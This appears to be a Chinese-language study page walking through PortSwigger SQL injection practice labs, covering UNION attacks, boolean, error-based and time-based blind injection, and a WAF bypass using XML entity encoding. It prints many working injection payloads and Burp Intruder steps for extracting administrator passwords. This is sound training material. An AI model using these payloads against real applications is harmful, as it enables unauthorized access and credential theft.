Web安全
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入【1】
07SQL 注入【2】
08SQL注入 Labs
08SQL注入速查表
09XSS
09跨站脚本攻击【XSS】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
API 安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL【1】
11GraphQL【2】
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
小程序
小程序抓包
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
-
+
首页
08SQL注入 Labs
https://portswigger.net/web-security/all-labs#sql-injection ## 检索隐藏数据 该实验室在产品类别过滤器中发现了一个SQL注入漏洞。当用户选择一个类别时,应用程序会执行如下SQL查询: ```sql SELECT * FROM products WHERE category = 'Gifts' AND released = 1 ``` 任务:**执行 SQL 注入攻击,导致应用程序显示一个或多个未发布的产品。** 1、根据提示,在类别处抓取数据包  2、构造Payload ``` ' or 1=1-- qwe ```  3、出现了之前没有商品。   ## 绕过登录 在登录功能中包含一个 SQL 注入漏洞。 任务:以administrator身份登录应用程序。 1、随意输入账户密码之后进行抓包。  2、输入单引号进行测试。   3、得知单引号闭合,使用administrator用户。  4、鼠标右键,选择在浏览器中打开响应,然后赋值链接到浏览器中打开即可。   ## 查询 Oracle 数据库类型和版本 产品类别过滤器中存在 SQL 注入漏洞,可以使用 UNION 攻击来检索注入查询的结果。 任务:显示数据库类型和版本。 1、访问靶场,得知数据库为Oracle且category字段存在sql注入。   2、通过burp抓包分析。    单引号闭合 3、测试字段数。   4、测试回显位置。  5、构造payload。 ``` '+UNION+SELECT+BANNER,+NULL+FROM+v$version-- zxc ```  6、同样的方式,在浏览器中的打开响应的链接。   ## 查询 MySQL 和 Microsoft 的数据库类型和版本 产品类别过滤器中存在 SQL 注入漏洞,可以使用 UNION 攻击来检索注入查询的结果。 任务:显示数据库类型和版本。 1、操作顺序与上一靶场相同,故直接测试字段数量。   2、构造payload,观察回显位。 ```sql '+UNION+SELECT+'abc','def' -- qwe ```  3、显示数据库版本和名称。 ```sql '+UNION+SELECT+@@version,+NULL -- qwe ```  ## 列出非 Oracle 数据库上的数据库内容 产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中检索数据。 该应用程序具有登录功能,数据库中包含一个保存用户名和密码的表。需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。 任务:以用户身份登录administrator。 1、步骤与上述靶场相同。 2、构造payload,观察回显位。 ```sql '+UNION+SELECT+'abc','def'--czz ```  3、构造payload,显示表名。 ```sql '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- zcc ```   4、pg_user表中可能存在着数据,构造payload,显示字段数。  5、显示数据,发现存在密码都是********* ```sql ' UNION SELECT usename,passwd FROM pg_user limit 0,1-- zcx ```  6、经过系列查找,在users_gvplos表中查找到两个字段。 ```sql %27+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+where+table_name+=+'users_gvplos'--%20zcc ```  7、查询数据。 ```sql %27+UNION+SELECT+username_nvalvz,+password_anhllj+FROM+users_gvplos+--+zxx ```  8、登录成功。  ## 列出 Oracle 数据库内容 产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中检索数据。 该应用程序具有登录功能,数据库中包含一个保存用户名和密码的表。需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。 任务:以用户身份登录administrator。 只列出关键步骤。 1、观察回显位置。 ```sql '+UNION+SELECT+'abc','def'+FROM+dual--%20123 ```  2、查询存在哪些数据库。 ```sql '+UNION+SELECT+table_name,NULL+FROM+all_tables--%20123 ```  3、在回显中检索,users相关字段,先尝试这个表USERS_ZSTSQU,查找字段。 ```sql '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ZSTSQU'--%20zxc ```  4、查询数据。 ```sql %27+UNION+SELECT+USERNAME_DYQHIL,+PASSWORD_TBKWSD+FROM+USERS_ZSTSQU--%20ss ```  5、登录成功。  ## 【UNION 攻击】确定列数 产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中检索数据。 任务:执行 SQL 注入 UNION 攻击来确定查询返回的列数 1、确定闭合。   单引号闭合。 2、使用order by 确定字段数。     三个字段。 3、使用UNION进行查询,使用NULL补位。 ```sql ' union select NULL,NULL,NULL-- zxc ```  ## 【UNION 攻击】确定字段的类型 任务:检索指定字符。 1、通过变化三个字段的类型。 确定中间字段为字符型。 ``` ' union select NULL,'zxc',NULL-- zxc ```  2、第三个字段是数字型。 ```sql ' union select NULL,'zxc',2-- zxc ```  3、第三个字段是数字型。 ```sql ' union select 1,'zxc',2-- zxc ```  4、由于网站给出了检索的字符,所以将第二个字符替换。 ``` ' union select 1,'fIWJJR',2-- zxc ```  ## 【UNION 攻击】从其他表检索数据 任务:数据库包含一个名为 的不同表users,其列名为username和password,检索所有用户名和密码,并使用该信息以administrator用户身份登录。 步骤与上述靶场相同。 1、确定回显位置。 ```sql %27+union+select+%27abc%27,%27def%27+--%20qwe ```  2、检索users表中的数据。 ``` ' union select username,password from users -- qwe ```  3、登录成功。  ## 【UNION 攻击】检索单个字段中的多个值 产品类别过滤器中存在 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此可以使用 UNION 攻击从其他表中检索数据。 任务:检索所有用户名和密码,并使用该信息以administrator用户身份登录。 操作与上述靶场相同。 1、确定参数类型。 ```sql '+union+select+1,'123'+--+azsd ```  2、查询users表中的passwor的字段。 ```sql '+union+select+1,'password'+from+users+limit+0+1+--+azsd ```  可以发现password字段被当作普通字符串进行输出。 3、可以使用字符串连接符号`||`进行规避。 在 Oracle、PostgreSQL 等数据库中常用,MySQL 中默认用 `CONCAT()` 函数,但部分配置下也支持 `||` ```sql '+UNION+SELECT+NULL,username||'~'||password+FROM+users-- asd ```  4、登录成功。  ## 布尔类型的 盲注 已知:cookie存在sql注入,表users,其列名为username和password。 任务:以用户身份登录administrator。 1、浏览目标网站,并用burp观察数据包,哪些地方存在cookie。 访问网站主页即携带了cookie。  2、存在注入的参数可能是TrackingId,将该数据包发送到repeater模块中,并进行测试。   3、直接检测是否存在users表。 ```sql ' and (select 'a' from users limit 1)='a ```  4、检测是否存在administrator用户。 ``` ' and (select 'a' from users where username='administrator')='a ```  5、确定administrator用户的密码长度。 ```sql ' and (select 'a' from users where username='administrator' and length(password)>1)='a ```    密码长度为20 6、可以使用burp的Intruder模块跑出每个字符。 ```sql ' and (select substring(password,1,1) from users where username='administrator')='a ``` 使用SUBSTRING()函数从密码中提取单个字符,并将其与特定值进行测试,环遍历每个位置和可能的值。 只需选择`a`,然后点击“**添加 §”**按钮。  在 **“有效载荷”**侧面板中,检查是否已选择 **“简单列表”** ,然后在**“有效载荷配置”**下添加 a - z 和 0 - 9 范围内的有效载荷。 ```txt a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 ``` 为了方便观察,点击 **“设置”**选项卡以打开**“设置”**侧面板。在**Grep - 匹配**部分,清除列表中的现有条目,然后添加值Welcome back。  7、第一个字符为:7   8、修改payload,将指定的偏移量从 1 更改为 2,依次类推20次,记录每一次的值。 ```sql ' and (select substring(password,2,1) from users where username='administrator')='a ``` 9、最终的字符串是77wnmwtysllibvbr2k4r  ## 带有条件错误的 盲注 已知:cookie参数存在sql注入,表users,其列名为username和password。 任务:以用户身份登录administrator 1、判断闭合。   一个单引号错误,两个单引号正常。 2、尝试构造子查询。 ```sql '||(select '')||' ```  ```slq '||(select '' from dual)||' ```  目标可能正在使用 Oracle 数据库,这要求所有 select 语句都明确指定表名。 3、尝试查询一个不存在的表名。 ```sql '||(select '' from not-a-real-table)||' ```  返回一个错误,表示字符串被后端当作 SQL 查询处理。 4、验证users表是否存在。 ```sql '||(select '' from users where rownum = 1)||' ```  users表存在。 5、可以使用ceas语句进行测试。 CASE语句测试一个条件,如果条件为真,则计算一个表达式;如果条件为假,则计算另一个表达式。 ```sql '||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||' ``` 分析: **||**:Oracle 数据库中的字符串连接运算符,用于将前后的字符串(或查询结果)拼接为一个整体。 核心子查询:**(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')** ```sql case when (1=1) then to_char(1/0) else '' end when (1=1):条件 1=1 是 “永真式”(永远为真),用于强制触发 then 分支 then to_char(1/0):若条件为真,执行 1/0(数学上的 “除以零” 操作),这在数据库中是非法运算,会直接触发错误。 to_char 是 Oracle 的类型转换函数,用于将数值转为字符串。 ``` 执行逻辑为: - 数据库先执行子查询:从 users 表中查询 username='administrator' 的记录。 - 若 users 表不存在,或表中无 administrator 用户,子查询可能直接报错(如 “表不存在”),或返回空结果(此时 case 语句无输出)。 因为case语句 1=1 恒真,触发 to_char(1/0),执行 “除以零” 操作,数据库抛出错误。  确认administrator用户存在。 6、探测administrator用户的密码长度。 ```sql '||(select case when length(password)>20 then to_char(1/0) else '' end from users where username='administrator')||' ```    长度为20。 7、标记a为变量,依次测试,与上述的布尔盲注方法相同。 ```sql '||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||' ```  第一个字符是:7  8、将指定的偏移量从 1 更改为 2,依次类推。 ```sql '||(select case when substr(password,2,1)='a' then to_char(1/0) else '' end from users where username='administrator')||' ``` 9、最终的字符是:7nzve3emirs8985h2fkw  ## 基于错误的SQL 注入 已知:cookie参数存在sql注入,表users,其列名为username和password。 任务:以用户身份登录administrator 1、测试闭合,一个单引号,进行了报错,并且给出了错误信息。   可知是单引号闭合。 2、使用子查询探测类型。 ```sql ' and cast((select 1) as int)-- zxc ``` cast是 SQL 中的类型转换函数  必须是布尔类型。 4、修改payload。 ```sql ' and 1=cast((select 1) as int)-- zxc ```  有效查询。 5、尝试检索用户名。 ```sql ' and 1=cast((select username from users) as int)-- zxc ```  根据错误信息,由于字符数限制,查询貌似被进行了截断。 6、那么就直接删除掉原有的cookie值。 ```sql ' and 1=cast((select username from users) as int)-- zxc ```  7、一行一行的查询呢。 ```sql ' and 1=cast((select username from users limit 0,1) as int)-- zxc ```  administrator用户名存在。 8、查询administrator用户的密码。 ```sql ' and 1=cast((select password from users limit 0,1) as int)-- zxc ```  9、登录成功。  ## 时间类型的 盲注 已知:cookie参数存在sql注入。 任务:造成 10 秒的延迟。 1、 测试闭合。    页面返回相同。 2、时间类型的sql注入,可以使用sleep()函数测试。    都没有翻译,会不会函数不对呢。 3、使用pg_sleep()函数 pg_sleep 是 PostgreSQL 特有的函数,作用是让数据库会话暂停指定的秒数,参数为等待时间(单位:秒)。  20,218 millis 表示从发送请求到接收完整响应的总耗时,单位是 “毫秒(millis,1 秒 = 1000 毫秒)”, 即约 20.2 秒。 4、返回靶场页面,显示通过。  ## 时间类型的 盲注 通过时间类型的盲注检索信息。 已知:cookie处存在sql注入,可以触发条件时间延迟来推断信息。 任务:以用户身份登录administrator。 由于上述靶场已经知道是时间型盲注,并且可以通过pg_sleep()进行触发,后端数据库是PostgreSQL 。 1、测试pg_sleep()是否可以进行使用 。 ```sql '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- ``` %3B是;的URL编码。  ```sql '%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- ```  2、测试是否存在administrator用户。 ```sql '%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ```  存在该用户。 3、测试密码长度。 ```sql '%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ```    长度为20。 4、通过读取单个字符,获取完整的password。 ```sql '%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users-- ``` 将请求包发送到 Intruder中,添加字符a为变量,在 “有效载荷”侧面板中,检查是否已选择“简单列表”,然后在 “有效载荷配置”下添加 a - z 和 0 - 9 范围内的有效载荷。  使用单线程发起请求,点击**资源池**选项卡打开**资源池**侧面板并将攻击添加到资源池,并将 **最大并发请求数**设置为1。  配置完成之后,点击开始攻击。  根据payload,返回响应时间大约在5秒的就是命中字符。  所以password的第一个字符是5 5、接下来依次类推,只需要修改偏移量从 1 更改为 2即可。 ```sql (password,2,1)='§a§') ``` 6、最终的字符是:5tz699j8wwokpo4owgxr 7、登录成功。  ## 通过 XML 编码绕过过滤器的 SQL 注入 已知:库存查询功能中存在 SQL 注入漏洞,可以使用 UNION 攻击从其他表中检索数据。数据库包含一个users表,其中字段有username和password。 任务:使用管理员账户登录系统。 1、点击任意商品,在下方存在检查库存按钮。  2、在当前位置抓取数据包。  3、发现数据被存放在了XML的标签中。   数据都发送了变化。 4、直接使用union。 ```sql 1 UNION SELECT NULL ```  "Attack detected",判定有WAF存在。 5、可以使用插件【Hackvertor】。  返回repeater模块的请求包中,选中我们的Payload,然后鼠标右键,然后选择**“扩展”>“Hackvertor”>“编码”**  再次发送  绕过WAF。 7、直接读取用户名和密码。 ```sql <@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities> ```  8、登录成功。 
毛林
2025年9月6日 12:34
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码